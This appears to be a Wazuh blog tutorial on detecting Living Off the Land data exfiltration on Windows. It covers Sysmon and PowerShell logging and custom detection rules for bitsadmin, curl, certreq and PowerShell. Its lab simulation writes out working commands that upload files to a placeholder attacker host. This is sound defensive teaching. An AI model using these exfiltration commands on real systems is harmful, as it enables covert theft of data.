Detecting data exfiltration using Living Off the Land tools with Wazuh

Detecting data exfiltration is an important aspect of maintaining cybersecurity, especially when attackers leverage native system tools to evade detection. This technique, known as Living Off the Land (LOTL), involves the misuse of legitimate utilities in the operating system, making malicious activities blend with normal operations.

Advanced Persistent Threat (APT) groups commonly use LOTL techniques, leveraging trusted system tools like bitsadmin and certutil to exfiltrate data and evade detection. These tools are native to Windows environments and can perform network communications without raising suspicion.

For instance, APT actors may use bitsadmin to create background upload jobs that covertly transfer sensitive files to external servers. certutil can be abused to encode and transfer data under the guise of certificate management tasks. Similarly, PowerShell has powerful scripting capabilities that enable attackers to collect, compress, encrypt, and transfer files securely while blending in with legitimate administrative activities.

This blog post demonstrates how Wazuh can detect data exfiltration performed using LOTL tools in a Windows environment.

Infrastructure

We set up the following infrastructure to demonstrate how Wazuh detects data exfiltration performed using Living Off the Land tools. 

• Wazuh 4.11.0 central components (Wazuh server, Wazuh indexer, and Wazuh dashboard). Follow this guide to download and set up the Wazuh virtual machine.
• A Windows 11 endpoint with a Wazuh agent 4.11.0 installed to serve as the victim endpoint. Refer to the installation guide to install the Wazuh agent.
• A Windows Server 2019 running Internet Information Services (IIS) to serve as the attacker endpoint.
• An Ubuntu 22.04 LTS endpoint to serve as the second attacker endpoint.

Configuration

Victim endpoint 

In this section, we configure the Windows 11 endpoint to forward Sysmon and PowerShell logs to the Wazuh server.

Forwarding Sysmon logs to the Wazuh server

Follow the steps below to configure Sysmon on the monitored endpoint and forward logs in the Sysmon event channel to the Wazuh server for analysis.

1. Download Sysmon from the Microsoft Sysinternals page.

2. Unzip the downloaded Sysmon archive to a directory of your choice.

3. Download the Sysmon configuration file (sysmonconfig.xml) using PowerShell with administrative rights. Replace <SYSMON_EXECUTABLE_PATH> with the directory where Sysmon is located:

> wget -Uri https://wazuh.com/resources/blog/emulation-of-attack-techniques-and-detection-with-wazuh/sysmonconfig.xml -OutFile <SYSMON_EXECUTABLE_PATH>\sysmonconfig.xml

4. Navigate to the directory containing the Sysmon executable and run the following command to install and start Sysmon:

> .\Sysmon64.exe -accepteula -i sysmonconfig.xml

5. Add the following configuration within the <ossec_config> block of the C:\Program Files (x86)\ossec-agent\ossec.conf file to forward Sysmon events to the Wazuh server:

<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

6.  Restart the Wazuh agent to apply the new configuration:

> Restart-Service -Name wazuh

Forwarding PowerShell logs to the Wazuh server

To identify exfiltration via PowerShell, we must enable and gather PowerShell logs on the monitored Windows endpoint.

Note: By default, Windows does not capture detailed command execution in PowerShell due to increased system resource usage and storage requirements.

1. Launch PowerShell as an Administrator and execute the following commands to enable PowerShell and script block logging.

> function Enable-PSLogging {
    # Define registry paths for ScriptBlockLogging and ModuleLogging
    $scriptBlockPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
    $moduleLoggingPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
    
    # Enable Script Block Logging
    if (-not (Test-Path $scriptBlockPath)) {
        $null = New-Item $scriptBlockPath -Force
    }
    Set-ItemProperty -Path $scriptBlockPath -Name EnableScriptBlockLogging -Value 1

    # Enable Module Logging
    if (-not (Test-Path $moduleLoggingPath)) {
        $null = New-Item $moduleLoggingPath -Force
    }
    Set-ItemProperty -Path $moduleLoggingPath -Name EnableModuleLogging -Value 1
    
    # Specify modules to log - set to all (*) for comprehensive logging
    $moduleNames = @('*')  # To specify individual modules, replace * with module names in the array
    New-ItemProperty -Path $moduleLoggingPath -Name ModuleNames -PropertyType MultiString -Value $moduleNames -Force

    Write-Output "Script Block Logging and Module Logging have been enabled."
}

> Enable-PSLogging

The expected output is as seen below:

> Script Block Logging and Module Logging have been enabled.

2. Insert the following configuration inside the <ossec_config> block of the C:\Program Files (x86)\ossec-agent\ossec.conf file to send PowerShell logs to the Wazuh server for analysis.

<localfile>
  <location>Microsoft-Windows-PowerShell/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

3. Restart the endpoint to apply the new configuration:

> Restart-Computer

Wazuh server

In this section, we create rules on the Wazuh server to detect data exfiltration using LOTL on the monitored endpoint.

1. Create a file lotl_data_exfiltration.xml in the /var/ossec/etc/rules/ directory:

# touch /var/ossec/etc/rules/lotl_data_exfiltration.xml

2. Add the following rules to the /var/ossec/etc/rules/lotl_data_exfiltration.xml file:

<group name="lotl,powershell,">

  <rule id="100017" level="8">
    <if_sid>61603</if_sid>
 <field name="win.eventdata.originalFileName" type="pcre2">(?i)(bitsadmin\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(transfer|addfile|upload|http)</field>
    <options>no_full_log</options>
    <description>Exfiltration with Bitadmin identified</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100018" level="8">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(curl\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(curl\s+-T\s+.*C:\\.*http)</field>
    <options>no_full_log</options>
    <description>Exfiltration using Curl detected</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100019" level="9">
    <if_sid>60009</if_sid>
    <field name="win.eventdata.contextInfo" type="pcre2">(?i)Invoke-WebRequest</field>
    <field name="win.eventdata.payload" type="pcre2">(?i)(Uri|http|Post|InFile|C:\\)</field>
    <description>Possible Powershell data exfiltration detected .</description>
    <mitre>
      <id>T1059.001</id>
      <id>T1567.002</id>
    </mitre>
  </rule>
 
  <rule id="100020" level="9">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(certreq\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(post|config|http|C:\\)</field>
    <options>no_full_log</options>
    <description>Possible data exfiltration using Certreq detected</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

</group>

Where: 

• Rule ID 100017 detects data exfiltration using bitsadmin.
• Rule ID 100018 detects data exfiltration using curl.
• Rule ID 100019 identifies possible data exfiltration using PowerShell.
• Rule ID 100020 identifies data exfiltration using certreq.

3. Restart the Wazuh manager to apply the configuration changes:

# systemctl restart wazuh-manager

Attack simulation 

This attack simulation shows how data exfiltration can be detected using Wazuh. For the blog post, we use the Netcat, PowerShell, curl, certreq, and bitsadmin tools to transfer data. Perform the following to test the configurations.

Note: This should be done only within a controlled environment.

Configuring Netcat listener on the Ubuntu endpoint

Follow the steps below to set up a Netcat listener on the Ubuntu endpoint. This is to simulate data exfiltration attacks. The attack will be against the Windows endpoint, which is the victim endpoint. 

1. Set up a Netcat listener on any chosen port using the command below. Replace <LISTENER_PORT> with the selected port for listening.

# nc -lvp <LISTENER_PORT>

2.  The data exfiltrated can also be parsed to a file using the command:

# nc -lvp <LISTENER_PORT> > FILE.txt

Where: 

• l: Listens for incoming connections.
• p: Specifies the listening port.
• v: Provides a verbose output of the connection.
• <LISTENER_PORT>: Specifies the port on which Netcat is listening.

Configuring bitsadmin listener on the Windows server

bitsadmin does not support standard Netcat or basic web servers as listeners or clients, therefore, we need to configure an Internet Information Services (IIS) server. This will receive files transmitted via Background Intelligent Transfer Service (BITS).

Follow these steps to set up a bitsadmin listening server on the Windows server:

1. Open Server Manager, and click Add roles and features in the Dashboard section. Click Next and ensure Role-based or Feature-based installation is selected in the Installation Type section. Click Next. 

2. In the Server Selection section, select the server on which you want to install roles and features and click Next.

3. Select Web Server (IIS) in the Server Roles section and click Next. In the Features section, select Background Intelligent Transfer Service (BITS) and click Add Features and Next to install the selected role and feature. 

4. After installing IIS and BITS, open Internet Information Services (IS) Manager, expand the server node in the Connections pane, and select Default Web Site.

5. Double-click BITS Uploads in the Other section of the Features View to open its configuration. Check Allow clients to upload files and click Apply in the right pane. In this blog post, we use the default settings, however, you can configure parameters such as transfer limits and authentication settings as needed.

6. Create a directory in any desired path on the endpoint. We created the directory C:\Users\Administrator\Desktop\uploads in this blog post. 

7. Navigate to the directory, right-click on it, and select Properties. Navigate to the Security tab and add specific users or groups with the necessary permissions if needed.

Note: For the purpose of the lab, we will configure the C:\Users\Administrator\Desktop\uploads directory to be accessible by anyone to allow BITs to transfer files externally.

8. Right-click on the C:\Users\Administrator\Desktop\uploads folder, select Properties, go to the Security tab, click Edit to change permissions, click Add in the Permissions window, and input “Everyone“.

9. Click Check Names, click OK, grant Modify, Write, and Read permissions to Everyone to allow anyone to upload and view files, and then click Apply and OK.

10. Back in Internet Information Services (IIS) Manager, right-click on Default Web Site in the Connections pane and select Add Virtual Directory. Enter ‘uploads’ in the Alias textbox. Under Physical path, enter the previously created directory C:\Users\Administrator\Desktop\uploads. 

11. In the Features View, double-click Directory Browsing to enable it if not already enabled.

12. In the Features View, double-click Authentication and ensure Anonymous Authentication is enabled to allow file upload without logging in.

13. Finally, test the file upload functionality by accessing the website via a browser using the IP address or domain name.

Replace <ATTACKER_SERVER_IP_ADDRESS> with the IP address of the attacker IIS server.

http://<ATTACKER_SERVER_IP_ADDRESS>/uploads

Where:

• <ATTACKER_SERVER_IP_ADDRESS>: Specifies the IP address of the second attacker device running the IIS server.
• uploads: Specifies the directory where exfiltrated or transferred files will be stored.

Perform exfiltration attacks and detect with Wazuh

Once the listener has been activated, perform the data exfiltration attacks on the Windows endpoint.

Data exfiltration using PowerShell 

PowerShell is a powerful scripting language built into Windows commonly used for automation and system administration. However, its deep integration with the Operating System (OS) and ability to execute commands without triggering antivirus alerts make it a valuable tool for attackers. Cybercriminals exploit PowerShell for various attack stages, including reconnaissance, privilege escalation, and data exfiltration. Detecting malicious activity is challenging since PowerShell operates within trusted system processes. 

1. Run the command below on the Windows endpoint to exfiltrate a simple text file using Powershell.

> Invoke-WebRequest -Uri "http://<ATTACKER_IP>:<LISTENER_PORT>" -Method Post -InFile "<PATH_TO_TEST_FILE>\Test_file.txt"

Where: 

• -Uri: Specifies the target URL where the request is sent.
• <ATTACKER_IP>: The IP address of the Ubuntu attacker device.
• <LISTENER_PORT>: Specifies the port on which Netcat is listening.
• -InFile: Specifies the file to be exfiltrated.
• -Method Post: Specifies that the HTTP request method is POST, which is typically used for uploading data.
• <PATH_TO_TEST_FILE>\Test_file.txt: This is the local path to the file being exfiltrated.

2. Confirm that the data exfiltrated is captured by the Netcat listener running on the Ubuntu attacker device.

3. The following alert is triggered on the Wazuh dashboard when the command is executed.

Data exfiltration using curl

curl (Client URL) is a command-line tool used for transferring data over various network protocols, including HTTP, HTTPS, FTP, and SCP. It is widely used for automation, API interactions, and file transfers. With its versatility and ability to communicate with remote servers, curl is exploited by attackers for malicious activities such as downloading payloads, and exfiltrating sensitive data. Since it is a legitimate tool available on most operating systems, its misuse can often go undetected by traditional security measures.

1. While the Netcat listener is active, run the command below to exfiltrate another file using curl on the command-line:

> curl  -T "<PATH_TO_TEST_FILE>\Test_file.txt" http://<ATTACKER_IP>:<LISTENER_PORT>

Where:

• -T: Instructs the system to transfer/upload file
• <PATH_TO_TEST_FILE>\Test_file.txt: is the local path to the file being exfiltrated.
• <ATTACKER_IP>: The IP address of the Ubuntu attacker device.
• <LISTENER_PORT>: Specifies the port on which Netcat is listening.

2. Verify that the exfiltrated data is successfully received by the Netcat listener on the Ubuntu attacker machine.

3. The Wazuh dashboard displays the following alert when the command is executed.

Data exfiltration using certreq

certreq is a Windows command-line tool used to create, submit, and manage Certificate Signing Requests (CSRs) for a Public Key Infrastructure (PKI) environment. It helps generate CSRs based on an existing private key, submit them to a Certification Authority (CA) for signing, and retrieve and install the signed certificate. certreq is generally trusted for legitimate certificate management, and attackers may exploit it as a hidden channel to exfiltrate stolen data from a network.

1. Run the following command to test a data exfiltration scenario using certreq.

> certreq -Post -config http://<ATTACKER_IP>:<LISTENER_PORT> <PATH_TO_TEST_FILE>\Test_file.txt

Where:

• -Post: Specifies that the request is being submitted to a server (in this case, the attacker device).
• -config:  Provides the URL of the server that will handle the certificate request.
• <ATTACKER_IP>: The IP address of the Ubuntu attacker device.
• <LISTENER_PORT>: Specifies the port on which Netcat is listening.
• <PATH_TO_TEST_FILE>\Test_file.txt: is the local path to the file being exfiltrated.

2. Confirm that the exfiltrated data has been successfully received by the Netcat listener on the Ubuntu attacker system.

3. When the command is executed, the Wazuh dashboard generates the following alert.

Data exfiltration using bitsadmin

bitsadmin is a command-line utility for managing the Background Intelligent Transfer Service (BITS) in Windows. It is primarily used for background file downloads, such as system updates, while minimizing network disruption. However, cybercriminals take advantage of the bitsadmin for malicious activities, including delivering malware, executing remote commands, and stealing sensitive data. BITS is a built-in and trusted Windows service, its exploitation can often bypass conventional security defenses.

1. Run the command below to simulate a data exfiltration scenario using bitsadmin.

> bitsadmin /transfer "TEST-JOB" /upload  http://<ATTACKER_SERVER_IP_ADDRESS>/uploads/Test_file.txt <PATH_TO_TEST_FILE>\Test_file.txt

Where: 

• /Transfer: Specifies a new BITS job named “TEST-JOB”. 
• /upload: Specifies that the job is an upload operation, transferring a file from the local machine (Windows endpoint) to a remote server (attacker’s second device)
• <ATTACKER_SERVER_IP_ADDRESS>/uploads/Test_file.txt: This specifies the destination URL where the file will be uploaded.
• <PATH_TO_TEST_FILE>\Test_file.txt: Is the local path to the file being exfiltrated

2. Confirm that the data was sent successfully by the Windows endpoint. If successful, a similar output like the below is expected.

DISPLAY: 'TEST-JOB' TYPE: UPLOAD STATE: TRANSFERRED
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 41 / 41 (100%)
Transfer complete.

3. Once the data exfiltration command in step one is executed, the following alert is generated on the Wazuh dashboard.

Conclusion

Living Off the Land (LOTL) techniques make data exfiltration harder to detect, as attackers abuse legitimate system tools to evade security controls. In this blog post, we simulated data exfiltration scenarios and how they can be detected using Wazuh.

Wazuh is a free open source security platform providing a wide range of capabilities to monitor and safeguard your infrastructure against malicious activities. To learn more about Wazuh and its capabilities, explore our blog posts and join our Slack community.

Reference

• Microsoft Sysinternals
• Sysmon configuration file  by Olaf Hartong
• Setting up IIS sever for BITS